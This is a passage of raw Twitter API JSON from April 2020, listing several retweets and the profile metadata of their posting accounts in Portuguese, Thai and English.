2020\",\"favourites_count\":214,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":102,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1245833483966177286\\\/Z__Ipnaf_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1245833483966177286\\\/Z__Ipnaf_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1245833334984527875\\\/1585875170\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 17:21:48 +0000 2020\",\"id\":1254098297557602304,\"id_str\":\"1254098297557602304\",\"text\":\"*25 de abril*\\n\\neu: https:\\\/\\\/t.co\\\/g5WrhWuyLU\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254098292553777152,\"id_str\":\"1254098292553777152\",\"indices\":[19,42],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdzwKkXgAAhCMx.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdzwKkXgAAhCMx.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/g5WrhWuyLU\",\"display_url\":\"pic.twitter.com\\\/g5WrhWuyLU\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/NazareAmarga\\\/status\\\/1254098297557602304\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":1080,\"h\":810,\"resize\":\"fit\"},\"large\":{\"w\":1080,\"h\":810,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":510,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254098292553777152,\"id_str\":\"1254098292553777152\",\"indices\":[19,42],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdzwKkXgAAhCMx.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdzwKkXgAAhCMx.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/g5WrhWuyLU\",\"display_url\":\"pic.twitter.com\\\/g5WrhWuyLU\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/NazareAmarga\\\/status\\\/1254098297557602304\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":1080,\"h\":810,\"resize\":\"fit\"},\"large\":{\"w\":1080,\"h\":810,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":510,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"pt\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1072573028,\"id_str\":\"1072573028\",\"name\":\"Nazar\\u00e9 Amarga\",\"screen_name\":\"NazareAmarga\",\"location\":\"\",\"description\":\"loirona gostosa do twitter nazare.amarga@mynd8.com.br\",\"url\":\"https:\\\/\\\/t.co\\\/J2ScZ6Orzt\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/J2ScZ6Orzt\",\"expanded_url\":\"http:\\\/\\\/instagram.com\\\/NazareAmarga\",\"display_url\":\"instagram.com\\\/NazareAmarga\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":751542,\"friends_count\":311,\"listed_count\":128,\"created_at\":\"Wed Jan 09 01:59:48 +0000 2013\",\"favourites_count\":575,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":5823,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/580446627695038464\\\/iV5737Qs_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/580446627695038464\\\/iV5737Qs_normal.jpg\",\"profile_link_color\":\"DD2E44\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"000000\",\"profile_text_color\":\"000000\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":879,\"favorite_count\":3433,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"pt\"},\"is_quote_status\":false,\"retweet_count\":879,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"pt\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206511749816321,\"id_str\":\"1254206511749816321\",\"text\":\"RT @tbEsnlhUJDDaIG9: \\u0e44\\u0e21\\u0e48\\u0e21\\u0e35\\u0e2d\\u0e35\\u0e01\\u0e41\\u0e25\\u0e49\\u0e27\\u0e21\\u0e31\\u0e19\\u0e08\\u0e1a\\u0e44\\u0e1b\\u0e15\\u0e31\\u0e49\\u0e07\\u0e41\\u0e15\\u0e48\\u0e40\\u0e21\\u0e37\\u0e48\\u0e2d\\u0e27\\u0e32\\u0e19\\u0e41\\u0e25\\u0e49\\u0e27 \\u0e22\\u0e31\\u0e07\\u0e44\\u0e07\\u0e01\\u0e47\\u0e23\\u0e31\\u0e01\\u0e41\\u0e25\\u0e30\\u0e04\\u0e34\\u0e14\\u0e16\\u0e36\\u0e07\\u0e40\\u0e2b\\u0e21\\u0e37\\u0e2d\\u0e19\\u0e40\\u0e14\\u0e34\\u0e21 \\u0e21\\u0e31\\u0e19\\u0e04\\u0e37\\u0e2d\\u0e04\\u0e27\\u0e32\\u0e21\\u0e17\\u0e23\\u0e07\\u0e08\\u0e33\\u0e17\\u0e35\\u0e48\\u0e14\\u0e35\\u0e17\\u0e35\\u0e48\\u0e2a\\u0e38\\u0e14\\u0e02\\u0e2d\\u0e07\\u0e2b\\u0e19\\u0e39\\u0e19\\u0e30\\u0e04\\u0e30300363\\ud83d\\ude2d\\n.\\n.\\n.\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"tbEsnlhUJDDaIG9\",\"name\":\"\\u0e04\\u0e27\\u0e32\\u0e21\\u0e17\\u0e23\\u0e07\\u0e08\\u0e33 |\\u0e25\\u0e34\\u0e21\\u0e34\\u0e15\\u0e1f\\u0e2d\\u0e25\",\"id\":1243314857253859328,\"id_str\":\"1243314857253859328\",\"indices\":[3,19]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"th\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1253687691935281152,\"id_str\":\"1253687691935281152\",\"name\":\"\\u0e17\\u0e48\\u0e32\\u0e40\\u0e23\\u0e37\\u0e2d\",\"screen_name\":\"Thareux90\",\"location\":\"\\ud83d\\udd87\\ufe0f\",\"description\":\"\\u0e1c\\u0e21\\u0e21\\u0e32\\u0e15\\u0e32\\u0e21\\u0e2b\\u0e32\\u0e1c\\u0e39\\u0e49\\u0e2b\\u0e0d\\u0e34\\u0e07\\u200b\\u0e04\\u0e19\\u0e19\\u0e36\\u0e07\\u200b\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":122,\"friends_count\":45,\"listed_count\":2,\"created_at\":\"Fri Apr 24 14:10:25 +0000 2020\",\"favourites_count\":58,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":693,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253860559633563648\\\/6LMU_KUb_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253860559633563648\\\/6LMU_KUb_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1253687691935281152\\\/1587778627\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 23:39:19 +0000 2020\",\"id\":1254193301424467968,\"id_str\":\"1254193301424467968\",\"text\":\"\\u0e44\\u0e21\\u0e48\\u0e21\\u0e35\\u0e2d\\u0e35\\u0e01\\u0e41\\u0e25\\u0e49\\u0e27\\u0e21\\u0e31\\u0e19\\u0e08\\u0e1a\\u0e44\\u0e1b\\u0e15\\u0e31\\u0e49\\u0e07\\u0e41\\u0e15\\u0e48\\u0e40\\u0e21\\u0e37\\u0e48\\u0e2d\\u0e27\\u0e32\\u0e19\\u0e41\\u0e25\\u0e49\\u0e27 \\u0e22\\u0e31\\u0e07\\u0e44\\u0e07\\u0e01\\u0e47\\u0e23\\u0e31\\u0e01\\u0e41\\u0e25\\u0e30\\u0e04\\u0e34\\u0e14\\u0e16\\u0e36\\u0e07\\u0e40\\u0e2b\\u0e21\\u0e37\\u0e2d\\u0e19\\u0e40\\u0e14\\u0e34\\u0e21 \\u0e21\\u0e31\\u0e19\\u0e04\\u0e37\\u0e2d\\u0e04\\u0e27\\u0e32\\u0e21\\u0e17\\u0e23\\u0e07\\u0e08\\u0e33\\u0e17\\u0e35\\u0e48\\u0e14\\u0e35\\u0e17\\u0e35\\u0e48\\u0e2a\\u0e38\\u0e14\\u0e02\\u0e2d\\u0e07\\u0e2b\\u0e19\\u0e39\\u0e19\\u0e30\\u0e04\\u0e30300363\\ud83d\\ude2d\\n.\\u2026 https:\\\/\\\/t.co\\\/tDN8lxtvs2\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/tDN8lxtvs2\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1254193301424467968\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[116,139]}]},\"metadata\":{\"iso_language_code\":\"th\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1243314857253859328,\"id_str\":\"1243314857253859328\",\"name\":\"\\u0e04\\u0e27\\u0e32\\u0e21\\u0e17\\u0e23\\u0e07\\u0e08\\u0e33 |\\u0e25\\u0e34\\u0e21\\u0e34\\u0e15\\u0e1f\\u0e2d\\u0e25\",\"screen_name\":\"tbEsnlhUJDDaIG9\",\"location\":\"\",\"description\":\"30.03.63\\u2764\\ufe0f \\u0e41\\u0e04\\u0e48\\u0e04\\u0e27\\u0e32\\u0e21\\u0e17\\u0e23\\u0e07\\u0e08\\u0e33\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":28,\"friends_count\":1196,\"listed_count\":0,\"created_at\":\"Thu Mar 26 23:12:32 +0000 2020\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":22,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1243315119410393088\\\/uYlCNC8s_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1243315119410393088\\\/uYlCNC8s_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1243314857253859328\\\/1585264521\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":15,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"th\"},\"is_quote_status\":false,\"retweet_count\":15,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"th\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206511649357824,\"id_str\":\"1254206511649357824\",\"text\":\"RT @escritosrame: https:\\\/\\\/t.co\\\/WNNMRHf2G0\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"escritosrame\",\"name\":\"\\ud835\\udc93\\ud835\\udc82\\ud835\\udc8e\\ud835\\udc86\",\"id\":1032743790761705472,\"id_str\":\"1032743790761705472\",\"indices\":[3,16]}],\"urls\":[],\"media\":[{\"id\":1254140985191301121,\"id_str\":\"1254140985191301121\",\"indices\":[18,41],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWealNCWAAEVQIV.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWealNCWAAEVQIV.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/WNNMRHf2G0\",\"display_url\":\"pic.twitter.com\\\/WNNMRHf2G0\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/escritosrame\\\/status\\\/1254140992330096640\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":382,\"resize\":\"fit\"},\"large\":{\"w\":1125,\"h\":632,\"resize\":\"fit\"},\"medium\":{\"w\":1125,\"h\":632,\"resize\":\"fit\"}},\"source_status_id\":1254140992330096640,\"source_status_id_str\":\"1254140992330096640\",\"source_user_id\":1032743790761705472,\"source_user_id_str\":\"1032743790761705472\"}]},\"extended_entities\":{\"media\":[{\"id\":1254140985191301121,\"id_str\":\"1254140985191301121\",\"indices\":[18,41],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWealNCWAAEVQIV.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWealNCWAAEVQIV.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/WNNMRHf2G0\",\"display_url\":\"pic.twitter.com\\\/WNNMRHf2G0\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/escritosrame\\\/status\\\/1254140992330096640\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":382,\"resize\":\"fit\"},\"large\":{\"w\":1125,\"h\":632,\"resize\":\"fit\"},\"medium\":{\"w\":1125,\"h\":632,\"resize\":\"fit\"}},\"source_status_id\":1254140992330096640,\"source_status_id_str\":\"1254140992330096640\",\"source_user_id\":1032743790761705472,\"source_user_id_str\":\"1032743790761705472\"}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":4097079975,\"id_str\":\"4097079975\",\"name\":\"Alma Pino\",\"screen_name\":\"apinof95\",\"location\":\"Merida,Espa\\u00f1a.\",\"description\":\"where there is love, there is life \\u00a9\\u2764\\ufe0f\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":188,\"friends_count\":182,\"listed_count\":0,\"created_at\":\"Mon Nov 02 12:17:07 +0000 2015\",\"favourites_count\":517,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":1587,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253844466949070858\\\/mRZ1N0IU_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253844466949070858\\\/mRZ1N0IU_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/4097079975\\\/1585421884\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 20:11:28 +0000 2020\",\"id\":1254140992330096640,\"id_str\":\"1254140992330096640\",\"text\":\"https:\\\/\\\/t.co\\\/WNNMRHf2G0\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254140985191301121,\"id_str\":\"1254140985191301121\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWealNCWAAEVQIV.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWealNCWAAEVQIV.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/WNNMRHf2G0\",\"display_url\":\"pic.twitter.com\\\/WNNMRHf2G0\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/escritosrame\\\/status\\\/1254140992330096640\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":382,\"resize\":\"fit\"},\"large\":{\"w\":1125,\"h\":632,\"resize\":\"fit\"},\"medium\":{\"w\":1125,\"h\":632,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254140985191301121,\"id_str\":\"1254140985191301121\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWealNCWAAEVQIV.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWealNCWAAEVQIV.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/WNNMRHf2G0\",\"display_url\":\"pic.twitter.com\\\/WNNMRHf2G0\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/escritosrame\\\/status\\\/1254140992330096640\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":680,\"h\":382,\"resize\":\"fit\"},\"large\":{\"w\":1125,\"h\":632,\"resize\":\"fit\"},\"medium\":{\"w\":1125,\"h\":632,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1032743790761705472,\"id_str\":\"1032743790761705472\",\"name\":\"\\ud835\\udc93\\ud835\\udc82\\ud835\\udc8e\\ud835\\udc86\",\"screen_name\":\"escritosrame\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":316811,\"friends_count\":3,\"listed_count\":158,\"created_at\":\"Thu Aug 23 21:38:01 +0000 2018\",\"favourites_count\":105,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":206,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1150110888596299778\\\/37fGmlV1_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1150110888596299778\\\/37fGmlV1_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1032743790761705472\\\/1586981394\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":3518,\"favorite_count\":9656,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},\"is_quote_status\":false,\"retweet_count\":3518,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},{\"created_at\":\"Sun Apr 26 00:31:49 +0000 2020\",\"id\":1254206511536054275,\"id_str\":\"1254206511536054275\",\"text\":\"RT @NessaAdlerXO: I only use Twitter for viewing and screenshotting funny tweets, but since I\\u2019m here, I\\u2019d like to expose a racist \\ud83d\\ude0c He said\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"NessaAdlerXO\",\"name\":\"ness\",\"id\":1219156139339853824,\"id_str\":\"1219156139339853824\",\"indices\":[3,16]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":2997792061,\"id_str\":\"2997792061\",\"name\":\"karrington airelle\\u2019 \\ud83c\\udf3b\",\"screen_name\":\"__beautyfordays\",\"location\":\"Atlanta, GA\",\"description\":\"Psalms 46:5\\u2728Alabama State University 21\\u2019 \\ud83d\\udc1d HA2 C8 \\u2764\\ufe0f\\ud83d\\udc9b\\ud83d\\udd25\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":1769,\"friends_count\":1139,\"listed_count\":3,\"created_at\":\"Tue Jan 27 03:43:24 +0000 2015\",\"favourites_count\":36312,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":18287,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"94D487\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme18\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme18\\\/bg.gif\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1246586001042149376\\\/dML0aB5m_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1246586001042149376\\\/dML0aB5m_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/2997792061\\\/1579990609\",\"profile_link_color\":\"3B94D9\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 01:46:58 +0000 2020\",\"id\":1253863037561421828,\"id_str\":\"1253863037561421828\",\"text\":\"I only use Twitter for viewing and screenshotting funny tweets, but since I\\u2019m here, I\\u2019d like to expose a racist \\ud83d\\ude0c H\\u2026 https:\\\/\\\/t.co\\\/WkHG544YUe\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/WkHG544YUe\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1253863037561421828\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[117,140]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1219156139339853824,\"id_str\":\"1219156139339853824\",\"name\":\"ness\",\"screen_name\":\"NessaAdlerXO\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":25,\"friends_count\":24,\"listed_count\":0,\"created_at\":\"Mon Jan 20 07:14:16 +0000 2020\",\"favourites_count\":44,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":14,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1254137661280915457\\\/c7jK6SWr_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1254137661280915457\\\/c7jK6SWr_normal.jpg\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,